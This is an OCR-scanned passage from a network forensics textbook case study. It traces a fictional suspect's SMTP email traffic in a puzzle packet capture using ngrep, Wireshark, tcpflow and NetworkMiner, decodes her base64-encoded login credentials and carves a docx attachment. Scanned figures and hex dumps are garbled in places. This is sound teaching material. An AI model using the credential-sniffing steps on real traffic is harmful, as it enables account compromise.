Message-ID: <00ab01cc14c9$227de600$6blea8cO@annlaptop>..From: "Ann Dercover
" <sneakyg33kyQaol.com>..To: <interOptlc@aol.com>..Subject: need a favor..D
ate: Tue, 17 May 2011 13:32:17 -0600..MIME-Version: 1.0..Content-Type: mult
ipart/alternative;...boundary="----=_NextPart_000_00A8_01CC1496.D700DE30"..
X-Priority: 3..X-MSMail-Priority: Normal..X-Mailer: Microsoft Outlook Expre
ss 6.00.2900.2180..X-Mime0OLE: Produced By Microsoft MimeOLE V6.00.2900.2180

....This is a multi-part message in MIME format.....------ =_NextPart_000_00
A8_01CC1496 .D700DE30..Content-Type: text/plain;...charset="iso-8859-1"..Con
tent -Transfer -Encoding: quoted-printable....Hey, can you hook me up quick w
ith that fake passport you were taking =..about? - Ann....------ =_NextPart_
000 _00A8_01CC1496 .D700DE30..Content-Type: text/html;...charset="iso-8859-1"
..Content -Transfer-Encoding: quoted-printable....<!DOCTYPE HTML PUBLIC "-//
W3C//DTD HTML 4.0 Transitional//EN">..<HTML><HEAD>..<META http-equiv=3DCont
ent-Type content=3D"text/html; =..charset=3Diso-8859-1">..<META content=3D"

MSHTML 6.00.2900.2853" name=3DGENERATOR>..<STYLE></STYLE>..</HEAD>..<BODY b
gColor=3D#ffffff>..<DIV><FONT face=3DArial size=3D2>Hey, can you hook me up
quick with that =..fake=20..passport you were taking about? - Ann</FONT></
DIV>..<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>...
e =_NextPart_000_00A8_01C

T(6) 2011/05/17 13:33:08.648555 192.168.30.108:1685 -> 205.188.58.10:143 [AP]

From: "Ann Dercover" <sneakyg33kyQaol.com>..To: <interOptlc@aol.com>..Subje
ct: need a favor..Date: Tue, 17 May 2011 13:32:17 -0600..MIME-Version: 1.0.
.Content -Type: multipart/alternative;...boundary="————=_NextPart_OOO_OOAB_O

1CC1496 .D700DE30"..X-Priority: 3..X-MSMail-Priority: Normal..X-Mailer: Micr
osoft Outlook Express 6.00.2900.2180..X-MimeOLE: Produced By Microsoft Mime
OLE V6.00.2900.2180....This is a multi-part message in MIME format.....----
--=_NextPart_000_00A8_01CC1496 .D700DE30..Content-Type: text/plain;...charse
t="is0-8859-1"..Content -Transfer-Encoding: quoted-printable....Hey, can you
hook me up quick with that fake passport you were taking =..about? - Ann..
e =_NextPart_000_00A8_01CC1496 .D700DE30..Content-Type: text/html;...c
harset="is0-8859-1"..Content -Transfer-Encoding: quoted-printable....<!DOCTY
PE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<HTML><HEAD>..<MET
http-equiv=3DContent -Type content=3D"text/html; =..charset=3Diso-8859-1">
..<META content=3D"MSHTML 6.00.2900.2853" name=3DGENERATOR>..<STYLE></STYLE
>..</HEAD>..<BODY bgColor=3D#ffffff>..<DIV><FONT face=3DArial size=3D2>Hey,

can you hook me up quick with that =..fake=20..passport you were taking ab
out? - Ann</FONT></DIV>..<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DI
V></BODY></HTML>....------ =_NextPart_000_00A8_01CC1496 .D700DE30--..

T(6) 2011/05/17 13:33:21.259662 205.188.58.10:143 -> 192.168.30.108:1686 [AP]
* 2 FETCH (UID 272 INTERNALDATE "17-May-2011 15:32:17 -0400" RFC822.SIZE 13
42 ENVELOPE ("Tue, 17 May 2011 13:32:17 -0600" "need a favor" (("Ann Dercov
er" NIL "sneakyg33ky" "aol.com")) (("Ann Dercover" NIL "sneakyg33ky" "aol.c
om")) (("Ann Dercover" NIL "sneakyg33ky" "aol.com")) ((NIL NIL "interOptic"

"aol.com")) NIL NIL NIL NIL) BODY[HEADER.FIELDS (REFERENCES X-REF X-PRIORI
TY X-MSMAIL-PRIORITY X-MSOESREC NEWSGROUPS)] {44}..X-Priority: 3..X-MSMail-
Priority: Normal.... FLAGS ($Submitted XAOL-SENT \Seen))..p8sr 0K UID FETCH

completed..
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T(6) 2011/05/17 13:34:16.481132 192.168.30.108:1687 -> 64.12.168.40:587 [A]
Message-ID: <00b701cc14c9$4bc95710$6blea8cO@annlaptop>..From: "Ann Dercover
" <sneakyg33kyQaol.com>..To: <d4rktangent@gmail.com>..Subject: lunch next w
eek..Date: Tue, 17 May 2011 13:33:26 -0600..MIME-Version: 1.0..Content-Type

multipart/alternative;...boundary="----=_NextPart_000_00B4_01CC1497 .004EC
040" ..X-Priority: 3..X-MSMail-Priority: Normal..X-Mailer: Microsoft Outlook
Express 6.00.2900.2180..X-MimeOLE: Produced By Microsoft MimeOLE V6.00.290
0.2180....This is a multi-part message in MIME format. ....------ =_NextPart_
000_00B4_01CC1497 .004EC040..Content -Type: text/plain;...charset="iso-8859-1
"..Content-Transfer-Encoding: quoted-printable....Sorry-- I can't do lunch
next week after all. Heading out of town. =..Another time!....-Ann..------ =
_NextPart_000_00B4_01CC1497 .004EC040..Content-Type: text/html;...charset="1i
s0-8859-1"..Content -Transfer -Encoding: quoted-printable....<!DOCTYPE HTML P
UBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<HTML><HEAD>..<META http-eq
uiv=3DContent -Type content=3D"text/html; =..charset=3Diso-8859-1">..<META c
ontent=3D"MSHTML 6.00.2900.2853" name=3DGENERATOR>..<STYLE></STYLE>..</HEAD
>..<BODY bgColor=3D#ffffff>..<DIV><FONT face=3DArial size=3D2>Sorry-- I can
't do lunch next week =..after all.=20..Heading out of town. Another time!<
/FONT></DIV>..<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>..<DIV><F
ONT face=3DArial size=3D2>-Ann

T(6) 2011/05/17 13:34:18.050493 192.168.30.108:1688 -> 205.188.58.10:143 [A]

From: "Ann Dercover" <sneakyg33kyQaol.com>..To: <d4rktangent@gmail.com>..Su
bject: lunch next week..Date: Tue, 17 May 2011 13:33:26 -0600..MIME-Version
1.0..Content -Type: multipart/alternative;...boundary="----=_NextPart_000_

00B4_01CC1497 .004EC040"..X-Priority: 3..X-MSMail-Priority: Normal..X-Mailer

Microsoft Outlook Express 6.00.2900.2180..X-MimeOLE: Produced By Microsof
t MimeOLE V6.00.2900.2180....This is a multi-part message in MIME format...
LT =_NextPart_000_00B4_01CC1497 .004EC040..Content-Type: text/plain;...
charset="is0-8859-1"..Content -Transfer -Encoding: quoted-printable....Sorry-
- I can't do lunch next week after all. Heading out of town. =..Another tim
e!....-Ann..------ =_NextPart_000_00B4_01CC1497 .004EC040..Content-Type: text
/html;...charset="is0-8859-1"..Content-Transfer-Encoding: quoted-printable.
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<HTML><H
EAD>..<META http-equiv=3DContent-Type content=3D"text/html; =..charset=3Dis
0-8859-1">..<META content=3D"MSHTML 6.00.2900.2853" name=3DGENERATOR>..<STY
LE></STYLE>..</HEAD>..<BODY bgColor=3D#ffffff>..<DIV><FONT face=3DArial siz
e=3D2>Sorry-- I can't do lunch next week =..after all.=20..Heading out of t
own. Another time!</FONT></DIV>..<DIV><FONT face=3DArial size=3D2></FONT>&n
bsp;</DIV>..<DIV><FONT face=3DArial size=3D2>-Ann</FONT></DIV></BODY></HTML
b =_NextPart_000_00B4

T(6) 2011/05/17 13:35:16.962873 192.168.30.108:1689 -> 64.12.168.40:587 [A]
Message-ID: <00bcO1lcc14c9$6fdibc60$6blea8cO@annlaptop>..From: "Ann Dercover
" <sneakyg33kyQaol.com>..To: <mistersekritx@aol.com>..Subject: rendezvous..
Date: Tue, 17 May 2011 13:34:26 -0600..MIME-Version: 1.0..Content-Type: mul
tipart/mixed;...boundary="----=_NextPart_000_00B8_01CC1497 .244B3EBO"..X-Pri
ority: 3..X-MSMail-Priority: Normal..X-Mailer: Microsoft Outlook Express 6.
00.2900.2180..X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180....T
his is a multi-part message in MIME format. ....------ =_NextPart_000_00B8_01
CC1497 .244B3EBO..Content -Type: multipart/alternative;...boundary="----=_Nex
tPart_001_00B9_01CC1497 .244B3EBO". .....--—---~- =_NextPart_001_00B9_01CC1497 .2
44B3EBO..Content -Type: text/plain;...charset="iso-8859-1"..Content-Transfer
-Encoding: quoted-printable....Hi sweetheart! Bring your fake passport and
a bathing suit. Address =..attached. love, Ann..------=_NextPart_001_00B9_0
1CC1497 .244B3EBO..Content -Type: text/html;...charset="iso-8859-1"..Content-
Transfer -Encoding: quoted-printable....<!DOCTYPE HTML PUBLIC "-//W3C//DTD H
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TML 4.0 Transitional//EN">..<HTML><HEAD>..<META http-equiv=3DContent-Type c
ontent=3D"text/html; =..charset=3Diso-8859-1">..<META content=3D"MSHTML 6.0
0.2900.2853" name=3DGENERATOR>..<STYLE></STYLE>..</HEAD>..<BODY bgColor=3D#
ffffff>..<DIV><FONT face=3DArial size=3D2>Hi sweetheart! Bring your fake pa
ssport =..and a=20..bathing su

T(6) 2011/05/17 13:35:24.092584 192.168.30.108:1690 -> 205.188.58.10:143 [A]

From: "Ann Dercover" <sneakyg33kyQaol.com>..To: <mistersekritx@aol.com>..Su
bject: rendezvous..Date: Tue, 17 May 2011 13:34:26 -0600..MIME-Version: 1.0
..Content-Type: multipart/mixed;...boundary="----=_NextPart_000_00B8_01CC14

97 .244B3EBO"..X-Priority: 3..X-MSMail-Priority: Normal..X-Mailer: Microsoft
Outlook Express 6.00.2900.2180..X-Mime0OLE: Produced By Microsoft MimeOLE V
6.00.2900.2180....This is a multi-part message in MIME format. ....------ =_N
extPart_000_00B8_01CC1497 .244B3EBO..Content -Type: multipart/alternative;...
boundary="----=_NextPart_001_00B9_01CC1497 .244B3EBO". .....--—---- =_NextPart_
001_00B9_01CC1497 .244B3EBO..Content -Type: text/plain;...charset="iso-8859-1
"..Content -Transfer-Encoding: quoted-printable....Hi sweetheart! Bring your
fake passport and a bathing suit. Address =..attached. love, Ann..------ =_
NextPart_001_00B9_01CC1497 .244B3EBO..Content-Type: text/html;...charset="is
0-8859-1"..Content -Transfer -Encoding: quoted-printable....<!DOCTYPE HTML PU
BLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<HTML><HEAD>..<META http-equ
iv=3DContent -Type content=3D"text/html; =..charset=3Diso-8859-1">..<META co
ntent=3D"MSHTML 6.00.2900.2853" name=3DGENERATOR>..<STYLE></STYLE>..</HEAD>
..<BODY bgColor=3D#ffffff>..<DIV><FONT face=3DArial size=3D2>Hi sweetheart!
Bring your fake passport =..and a=20..bathing suit. Address attached. love
, Ann</FONT></DIV></BODY></HTM

Well that looks interesting! We see from the output above that our keyword search for
“Ann Dercover” matched seven packets. Three packets were part of a conversation with
64.12.168.40 over TCP port 587. TCP 587 is assigned by IANA as the “submission” port,
commonly used by mail clients to submit messages via SMTP to MSAs. % Four packets were
part of a conversation with 205.188.58.10 over TCP port 143. TCP 143 is assigned by IANA
to the Internet Message Access Protocol (IMAP) service, which is used for retrieving email.

Each of the packets matched appears to contain email addresses and content.

4.6.4 SMTP Analysis—Wireshark

Next, let’s examine the SMTP traffic of interest in Wireshark. Beginning with the first packet
at 2011/05/17 13:33:07.203874, we can use Wireshark’s “Follow TCP Stream” feature to
isolate only the packets that were part of the same TCP flow. Conveniently, Wireshark’s
“Follow TCP Stream” feature automatically extracts the Layer 7 packet contents from each
packet in the stream, reassembles it, and displays it in an easy-to-read format, as shown in
Figure 4-38.

In the TCP stream shown in Figure 4-38, we see an authenticated SMTP conversation
between a mail client and an MSA. Here we see that Ann authenticated against her SMTP
server using plain text:

250-AUTH=XAOL-UAS-MB LOGIN PLAIN

63. R. Gellens and J. Klensin, “Message Submission,” IETF, December 1998, http://www.ietf.org/rfc/
rfc2476.txt.
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Stream Conkent
[F58- AOTH=XAOL -UAS -MH LOGIN PLATH =
250 - ENHAN! 5 S 3

[250-BE1TMIME

[250 DSH

JAUTH LOGIN

334 VENLcaShbWls

251YWt5ZzMza3k

334 UGFzc3dvems

2AwcGWyczNre jF@

235 2.7.0 Authentication successful

MAIL FAOM: <snnakygddky@acl.coms

(250 2.1.8 Ok

FCPT TO: =inter@ptlciacl.con=

250 2.1.5 Ok

DATA

354 End data with <CR=<LF= <(R=<lF>

Message-I0: «=BOabllccl4c93227de600%6b]eaBcBRannlaptops

From: “Ann Dercover® <sneakyg33ky@aol .com»

To: <interBptlc@aol .con>

subjact: nend a favor

Pate: Tue, 17 May 2011 13:32:17 -0600

MIME-Varsien: 1.6

Content -Type: sultipart/alternative;

‘boundary="----= NextPart_000_GGAB_G1CC1456.07T060E30"

X-Briority: 3

[ -MSMail -Priority: Normal =
K-Mailer: Microsoft Outlook Express €.08.2900.2180

X -MineOLE: Produced By Microsoft Mime(LE V& .08.7900.2180

This is a multi-part message in MIME format.

--= NextPart_000_80A8_81CC1496.07000E3G
Contant -Typa: text/p
-charset="is0-B858-1

ontent-Transfer-Encoding: quoted-printable

iy, can you hook me up quick with that fake passport you were taking =
bout? - Ann =)

Elnd| Save As | Brint | Entire conversation (2366 bytes) * | O ASCI O EBCOIC O Hex Dump O € Arrays & Raw

B Filker Out This Stream | Llose |

Figure 4-38. An SMTP conversation containing the first packet matched as part of our ngrep
search. Wireshark's “Follow TCP Stream” feature automatically extracts the Layer 7 packet
contents from each packet in the stream, reassembles it, and displays it in an easy-to-read
format.

That means her credentials are only Base-64-encoded, not encrypted. Let’s decode them
now.

Here’s Ann’s username:

$ echo "c251YWt5ZzMza3k=" | base64 -d
sneakyg33ky

Here’s her password:

$ echo "czAwcGVyczNrcjFO0" | base64 -d
s00pers3krit

The “MAIL FROM” and “RCPT TO” SMTP messages shown below indicate that the
email sender was sneakyg33ky@aol.com, and the recipient was interOptlc@aol.com. Note
that these values can differ from the “From” and “To” headers that are actually displayed
in the body of the message. The “From” and “To” headers do not actually affect where a
MTA routes an email message.

MAIL FROM: <sneakyg33kyQaol.com>
250 2.1.0 0Ok
RCPT TO: <interOptilc@aol.com>
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Finally, we see the body of the email, as shown after the “DATA” SMTP message. In
this section, we can infer that the user sneakyg33ky@aol.com is representing herself as “Ann
Dercover.” The “Subject” of this email was “need a favor,” and the message contained in
the body was short but intriguing: “Hey, can you hook me up quick with that fake passport
you were talking = about? - Ann.” Could our suspect have been planning an unexpected,
illicit trip abroad?

DATA

354 End data with <CR><LF>.<CR><LF>

Message-ID: <00ab01cc14c9$227de600$6blea8cO@annlaptop >
From: "Ann Dercover" <sneakyg33kyQaol.com>

To: <interOptlc@aol.com>

Subject: need a favor

Date: Tue, 17 May 2011 13:32:17 -0600

MIME-Version: 1.0

Content -Type: multipart/alternative;
.boundary="----=_NextPart_000_00A8_01CC1496.D700DE30"
X-Priority: 3

X-MSMail -Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2900.2180
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

------=_NextPart_000_00A8_01CC1496.D700DE30
Content -Type: text/plain;
.charset="is0-8859-1"

Content -Transfer-Encoding: quoted-printable

Hey, can you hook me up quick with that fake passport you were talking =
about? - Ann

In a similar fashion, we can use Wireshark’s “Follow TCP Stream” function to examine
the TCP stream containing the second SMTP packet we matched using ngrep, at 2011/05/17
13:34:16.481132. The results are shown in Figure 4-39. In this conversation, we see that
the same user, sneakyg33ky@aol.com, sent an email to d4drktangent@gmail.com, with the
“Subject” “lunch next week.” In this email, the author writes:

Sorry-- I can't do lunch next week after all. Heading out of town. =
Another time!

-Ann

Apparently the sender’s plans have changed!

4.6.5 SMTP Analysis—TCPFlow

Finally, let’s examine the third matching SMTP packet from our ngrep results, created
at 2011/05/17 13:35:16.962873. We could do this in the same way as the others, using
Wireshark’s “Follow TCP Stream,” but instead let’s practice using command-line tools
(which typically scale better).
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[@ee GW TCP Stream
Stream Content
JAUTH LOGIN £l
334 VANLemShbWUs
251 ¥Wt5ZzMza3k
334 U Jdvem(s
ZhwcGVyczNre jFO
235 2.7.0 Authentication successful
AIL FROM: <sneakyg3dky@aol ,coms
P56 2.1.6 Ok
ACPT TO: <ddrktangent@gmail .com=
(256 2.1.5 Ok
DATA
354 End data with <CR»<lF> <CR><lF>
Message-10: <BBb7E ) c95710$6bleaBcBRannl aptop>
From: "Ann Derco yg3dky@aol ,com=
ddrktangent@gmail .
: lunch naxt weak
2, 17 May 2011 13:33:26 -8608
r\-ﬂrinart falternative;
-= NextPart_0O0O_0O0B4_B10C1497 . 604ECH4D™
: Normal
Outlook Express 6.08.2508.2188
By Microsoft MimeOLE V6.00.2900.2180
This 15 a multi-part message in MIME format. »
-Encoding: quoted-printable
Eorry I can't do lunch next week after all. Heading out of town. =
fnothar tima!
-Ann
= NextPart GG0 G0B4 G1CC1497 .064ECO40 =l
Eind| Save &s| print | Encire conversation (2429 bytes) = | ASCH O EBCODIC O Hex Dump © € Arrays ® Raw
Help | Fiter Out This Stream | Close |

Figure 4-39. An SMTP conversation containing the second packet matched as part of our
ngrep search.

Recall from our ngrep output that the matched TCP packet was sent from
192.168.30.108:1689 to 64.12.168.40:587 (the conversation that contained this packet was, of
course, bidirectional). In the output below, we use tcpflow with an appropriate BPF filter
to list all TCP flows between ports 1689 and 587. As you can see, tcpflow reconstructed two
unidirectional data streams, one from 192.168.30.108:1689 to 64.12.168.40, and the other in
the opposite direction.

$ tcpflow -v -r evidence-packet-analysis.pcap 'port 1689 and port 587

tcpflow[333]: tcpflow version 0.21 by Jeremy Elson <jelson@circlemud.org>

tcpflow[333]: looking for handler for datalink type 1 for interface evidence-

packet-analysis.pcap

tcpflow[333]: found max FDs to be 16 using OPEN_MAX

tcpflow [333]: 192.168.030.108.01689-064.012.168.040.00587: new flow

tcpflow[333]: 064.012.168.040.00587-192.168.030.108.01689: new flow

tcpflow [333]: 064.012.168.040.00587-192.168.030.108.01689: opening new output
file

tcpflow [333]: 192.168.030.108.01689-064.012.168.040.00587: opening new output
file

Let’s examine the reconstructed content sent from 192.168.30.108 (Ann’s computer) to
the remote server 64.12.168.40. If the contents are indeed SMTP data as we expect, then we
will be most interested in the outbound content from Ann’s computer to the MSA, which
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would contain the SMTP “MAIL FROM” and “RCPT TO” headers and authentication
data, as well as the body of the email.
Viewing the outbound content reconstructed by tcpflow, we see the following:

$ less 192.168.030.108.01689-064.012.168.040.00587
EHLO annlaptop

AUTH LOGIN

c251YWtb5ZzMza3k=

czAwcGVyczNrcjFO

MAIL FROM: <sneakyg33kyQaol.com>

RCPT TO: <mistersekritx@aol.com>

DATA
Message-ID: <00bc01cc14c9$6fdlbc60$6blea8cO@annlaptop >
From: "Ann Dercover" <sneakyg33kyQaol.com>

To: <mistersekritx@aol.com>

Subject: rendezvous

Date: Tue, 17 May 2011 13:34:26 -0600

MIME-Version: 1.0

Content -Type: multipart/mixed;
boundary="----=_NextPart_000_00B8_01CC1497 .244B3EBO"

X-Priority: 3

X-MSMail -Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2900.2180

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

------=_NextPart_000_00B8_01CC1497 .244B3EBO
Content -Type: multipart/alternative;
boundary="----=_NextPart_001_00B9_01CC1497 .244B3EBO"

—————— =_NextPart_001_00B9_01CC1497 .244B3EBO

Content -Type: text/plain;
charset="is0o-8859-1"

Content -Transfer-Encoding: quoted-printable

Hi sweetheart! Bring your fake passport and a bathing suit. Address =
attached. love, Ann

—————— =_NextPart_001_00B9_01CC1497 .244B3EBO

Content -Type: text/html;

In the SMTP conversation shown above, we see the outbound portion of a communica-
tion with a remote SMTP server. The “MAIL FROM” and “RCPT TO” SMTP messages
shown below indicate that the email sender was sneakyg33ky@aol.com, and the recipient
was mistersekritx@aol.com. In the body of the email, we can see that the sender has repre-
sented herself once again as “Ann Dercover.” The “Subject” of this email was “rendezvous.”
As we saw above, the message in the body of the email was as follows:

Hi sweetheart! Bring your fake passport and a bathing suit. Address =
attached. love, Ann
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As the message suggests, there is an attachment to the email. Scrolling further in the
tcpflow output, we see the following section:

—————— =_NextPart_000_00B8_01CC1497 .244B3EBO
Content -Type: application/octet-stream;
name="secretrendezvous.docx"
Content -Transfer -Encoding: base64
Content-Disposition: attachment;
filename="secretrendezvous.docx"

UEsDBBQABgATIAAAAIQCht/xGcgEAAFIFAAATAAgCWONVvbnR1bnREVHIWZXNALnhtbCCiBATI0oo0AAC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Based on the line, “Content-Transfer-Encoding: base64,” it appears that the attach-
ment to the message is Base64-encoded, and the filename of the attachment is “secretren-
dezvous.docx.”

4.6.6 SMTP Analysis—Attachment File Carving

Now, let’s carve the attachment out of the message body. To do this manually, open the
stream dump in the Bless hex editor:

$ bless 192.168.030.108.01689-064.012.168.040.00587

Cut the SMTP and MIME protocol information off the top and bottom, as shown in
Figure 4-40. The email contains multiple parts, as indicated by the mail headers:

MIME-Version: 1.0
Content -Type: multipart/mixed;
boundary="----=_NextPart_000_00B8_01CC1497 .244B3EBO"

aoonoafo

00000700
00000710 | (@8
aoonoTzo |§
00000730
00000740
00000750 |74 ZF 78 47 B3 BT 45 41 41 46 49 46 41 41 41 54|t/ ¥GOgEARFIFARRT
0000076041 41 67 43 57 30 4E 76 62 6E 52 6C 62 6E 52 66 |AAyYCWONvLnRlbnRI
00000770 |56 48 6C 77 5a 58 4E 64 4C 6E 68 T4 62 413 43 69 |VHIwZXNdLnhtbCCi
00000720 |42 41 49 6K 6K 41 41 42 0D 02 41 41 41 41 41 41 |BALOOAAU . AARRAR

no04s0=0|Ac &E 51 42 41 41 44 49 41 A7 41 41 45 41 41 41 |1nQRRRDTRQRARARE
000450£0 (|41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 64 |ARRAARARARAAARAC
0004510048 41 4D 41 OD OA 52 47 39 6a 55 48 4n 76 63 418 [HAMA..ZC9jUHIvcH
non4dsiin 1 |MuyYXBwLnht hFRT.RQ
00045120 4] )} ] ] ] ) YAAARAADAAMAAQDAA
00045130 |1 0 S0

00045140
00045150 |8
00045160 | 3 23
00045170 Z 0a . LQULT . .

Figure 4-40. This screenshot shows how we carve Ann’s email attachment out of the “Ann
Skips Bail” packet capture. The top image (a) shows us cropping the top part of the attach-
ment, and the bottom file (b) shows us cropping the end of the attachment.



4.6 Case Study: Ann’s Rendezvous 147

The attachment of greatest interest is contained in the part labeled:

—————— =_NextPart_000_00B8_01CC1497 .244B3EBO

Content -Type: application/octet-stream;
name="secretrendezvous.docx"

Content -Transfer-Encoding: base64

Content -Disposition: attachment;
filename="secretrendezvous.docx

Immediately after these lines, there are TWO carriage-return/linefeeds (CRLF). (In
hexadecimal, a carriage return is “0x0D” and a linefeed is “0x0A.” Please see Section 10.5.2.1
for additional discussion of file carving using CRLF sequences as markers.) At the end of
the message part, we see another sequence of TWO CRLFs. To carve out the attachment,
we begin carving immediately after the first set of CRLFs and end just before the second
set.5% Let’s save the carved file as “evidence-packet-analysis-smtp3-attachment.”

The carved attachment contains some line breaks. We need to remove these in order
to decode the Base64 encoding. For this purpose, we’ll use the “fromdos” command by
Christopher Heng, which is distributed as part of the “tofrodos” Debian package:

$ fromdos -b evidence-packet-analysis-smtp3-attachment
Now, we can decode the file and recreate the original attachment:

$ base64 -d evidence-packet-analysis-smtp3-attachment > secretrendezvous.docx
Check the file type:

$ file secretrendezvous.docx
secretrendezvous.docx: Zip archive data, at least v2.0 to extract

This makes sense, since .docx files are zip archive data. Let’s take the cryptographic
checksums:

$ mdSsum secretrendezvous.docx
9049b6d9e26fe878680eb3£f28d72d1d2 secretrendezvous.docx

$ sha256sum secretrendezvous.docx
24601 c174587be4ddfff0b9e6d598618c6abfcfadbl6f7dd6dbd7a24aed6fec8
secretrendezvous.docx

4.6.7 Viewing the Attachment

Naturally, we want to view the contents of the attachment, which has been labeled with
a .docx extension. Always remember that mainstream document-viewing programs often
modify the files even when only used to view the file. When viewing a file, make sure that
you are working on a copy of the evidence, and not the evidence itself. You can also use
filesystem permissions, hardware write blockers, and other mechanisms to reduce the risk
that the application will modify the source file.

64. N. Borenstein and N. Freed, “MIME (Multipurpose Internet Mail Extensions): Mechanisms for Spec-
ifying and Describing the Format of Internet Message Bodies,” IETF, June 1992, http://www.ietf.org/
rfc/rfc1341.txt.
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secretrendezvous.docx - OpenOffice.org Writer

Meet me at the fountain near the rendezvous point. Address below. I’'m bringing all the cash.

P Wise(dol” )/ HiGeRIYARIL_More. || WMap ) sateie | erran
o Galaoda del - 7 My 5 e ¥
LA Camnp L F ) IR,
. IS " ARSI
- Playa del Carmen ®
’ ddrdhd 36 reviews - more info
* /L7 1 A, Constituyentes L Calle 10 x la Sta
b i /" Avenida
/ = Playa del Carmen, 77780, Mexico
= 01 984 B73 4000

Get directions - Search nearby
| Zoom here - Save lo My Maps - Send
I E

Figure 4-41. The attachment that Ann sent to “mistersecretx@aol.com,” opened using
OpenOffice. (Image (©)2009 Google—Map data (2009 INEGI.)

In this case, we open the attachment using OpenOffice, as shown in Figure 4-41. At
the top of the document is the text, “Meet me at the fountain near the rendezvous point.
Address below. I'm bringing all the cash.” This is followed by an image of what appears to
be a map with an address:

Playa del Carmen

1 Av Constituyentes 1 Calle 10 x la 5ta
Avenida

Playa del Carmen, 77780, Mexico

01 984 873 4000

Taking things one step further, we can carve out the image file embedded in the doc-
ument. This can be useful for correlating with evidence from other sources, such as hard
drive analysis. Carving embedded images is easy with .docx files. First, let’s unzip the file:
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$ unzip secretrendezvous-copy.docx

Archive: secretrendezvous-copy.docx
inflating: [Content_Types].zxml
inflating: _rels/.rels
inflating: word/_rels/document.xml.rels
inflating: word/document.xml

extracting: word/media/imagel.png
inflating: word/theme/themel.xml
inflating: word/settings.xml
inflating: word/webSettings.xml
inflating: docProps/core.xml
inflating: word/styles.xml
inflating: word/fontTable.zxml
inflating: docProps/app.zxml

As you can see, there appears to be only one image file in this document, which is labeled
with the extension “.png”. Take the cryptographic checksum of the embedded image file:

$ md5sum word/media/imagel.png

aadeaceb0997b1ba24b09ac2ef1940b7 word/media/imagel.png

$ sha266sum word/media/imagel.png

7dc8bba245a0ba9e7a456e718316c4fb0abbae59d34833f415a429a5b8a6b437
imagel.png

word/media/

Open a copy of the image to confirm that it is the one we are looking for, as shown in

Figure 4-42.

o s £ 4 P

% v S S T
o AL T Mindvg

; | Mision‘dei Habitat &> L Wore | [_Map_T Safelite | Terrain
Galaxia del 55 arrrlen% '-27 N y/ < RN
/Cal;men\\a, sS4 = >! T G -{'\_.‘%-
i //
/ Playa del Carmen
/ Wiy 36 reviews - more info »

1 Av. Constituyentes 1 Calle 10 x la 5ta
Avenida

Flaya del Carmen, 77780, Mexico

01 984 873 4000

Get directions - Search nearhy
Zoom here - Save to My Maps - Send
Edit

0/1 A

Figure 4—42. The image that we retrieved from the unzipped .docx file, which we carved out
of SMTP traffic. (Image (©2009 Google—Map data (©)2009 INEGI.)
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4.6.8 Finding Ann the Easy Way

That was a lot of work! Wouldn’t it be nice if there were a program that could analyze
SMTP traffic and carve files out for us automatically?

4.6.8.1 NetworkMiner

As we’ve discussed, NetworkMiner is a great multipurpose tool for analyzing network traf-
fic.%> When the “Ann Skips Bail” (Puzzle #2) SMTP contest was released on ForensicsCon-
test.com, Erik entered NetworkMiner as his submission. To solve the puzzle, he extended
NetworkMiner to parse SMTP traffic, and also added a new “Messages” tab. This was a great
example of how members of the network forensics community can step up and contribute
tools to solve challenges that all of us face.

In Figure 4-43, you can see a screenshot of NetworkMiner in action. We simply dragged
and dropped the evidence file (evidence-packet-analysis.pcap) into NetworkMiner, and it
automatically interpreted the results. The first tab, “Hosts,” lists all of the IP addresses of
the hosts that transmitted IP traffic in the packet capture.

& NetworkMiner 1.0
Ele Tocls Help
- Select a network adapter in the list -
Sessions (31]) DMS [407)| Patamaters (203]| Keywords | Clsartest | Anomalies|
Hasts (116 |F|ames [24xx) | Files (B1] Images 34]) | Messages [3) | Credentialz: (5)
Soit Hosts Orc .IF'.-".ddrass |ascending) v l Sort and Rsfiesh ]
® T voou A~ |
(E7] 8.26.194. 254 [cdn imm, com.c. footpint net] [weww.nsp.com|
i+ 8 26.195.254 [cdn trimm, com._c footpiint.ne p.com]
e2] 8 254 0126 [cdn trimmcom.c. footprint, ret] [, rep, com]
4910303020
@@ 103030255
Ir] 64.4.10.44 [time.microsoft. skadnes net] [tma windows.com]
E £ 41216840 [Linux)
(E7] ) PCrag. con
i+ a akarnal net] [
# lngs techret miciosolt akades -
=]
E2]
[
F2]
F3]
[+ e
s * Fieload Caze Files
Live Seiffing Buffer Usage: | ]

Figure 4—43. Here is a screenshot of NetworkMiner in action. We simply dragged and dropped
the evidence file into NetworkMiner, and it automatically interpreted the results.

65. “NETRESEC NetworkMiner—The Network Forensics Analysis Tool.”
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Hosts (1161 | Frames [24u] | Files 611 | Images [34]) M 9es (3] | Credentials (5] | 5 131]) OHS [407]) Farameters [203] | Keywords | Cleartest | Anomahes

Frame n.  Sowe. . Destin..  From To Subject Protocol  Timestamp Altribute Valus
1530 192160, 64121 "AnnD. <nterDo.. need afavor Smip 51772011 1:330.. | MessagelD <00bcMccl4ed...
1752 192168 E4121 “Ann DL cddrkta..  lunch next week Smip 5/17/2011 1:341..| | From “ann Dercover” ...

2136 192168 E4121.. “AnnD..  <misters.. rendezvous S mij 5/417/2011 1:35:2. <mistersekritn@...
1endezvous
Tue. 17 Map 20...
MIME Yersion 1.0
Corters-Typs rutipart/mixed.t .
boundary wezm_NedPait_(1
K-Priority 3
AMSMail-Fronty  Momal
H-Mailer Microsoft Outloa. .
HeimeOLE Produced By Mi
charset is00059-1

Contert-Transler-.. quoted-prntabls

'Hi sweethean Bring pour fake passport and a bathing suit.
Addres: attached, love, Ann

